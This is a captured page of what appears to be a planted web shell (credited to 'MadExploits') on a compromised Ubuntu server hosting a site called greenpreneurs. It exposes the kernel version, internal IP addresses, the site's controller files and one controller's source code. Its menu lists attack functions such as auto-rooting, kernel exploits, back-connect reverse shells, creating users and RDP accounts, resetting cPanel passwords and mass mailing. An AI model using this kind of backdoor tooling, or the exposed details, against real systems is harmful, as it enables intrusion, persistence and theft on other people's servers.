Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
greenpreneurs /
api /
controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
admin.dashboard.controller.js
12.23
KB
-rw-r--r--
auth.controller.js
5.83
KB
-rw-r--r--
blog.controller.js
5.49
KB
-rw-r--r--
event.controller.js
1.43
KB
-rw-r--r--
homePage.controller.js
1.33
KB
-rw-r--r--
individualBlog.controller.js
4.96
KB
-rw-r--r--
user.controller.js
4.33
KB
-rw-r--r--
user.dashboard.controller.js
6.88
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : homePage.controller.js
import pool from "../config/db.js"; export const editorial = async (req, res) => { const query = ` SELECT * FROM Editorial ORDER BY Date DESC, Time DESC LIMIT 1; `; try { const [rows] = await pool.query(query); // Await the query result if (rows.length > 0) { res.status(200).json(rows[0]); // Send the latest editorial as JSON } else { res.status(404).json({ message: 'No editorials found' }); } } catch (err) { console.error("Error fetching editorial:", err); res.status(500).json({ error: 'An error occurred while retrieving the latest editorial' }); } }; export const getentrepreneurs = async (req, res) => { const query = ` SELECT CONCAT(FirstName, ' ', LastName) AS FullName, LinkedinProfileURL, Website, ProfileImage, Description FROM verifiedEnt WHERE IsVerified = 1 `; try { const [results] = await pool.query(query); // Await the query result res.status(200).json(results); } catch (err) { console.error("Failed to retrieve entrepreneurs:", err); res.status(500).json({ error: "Failed to retrieve entrepreneurs" }); } };
Close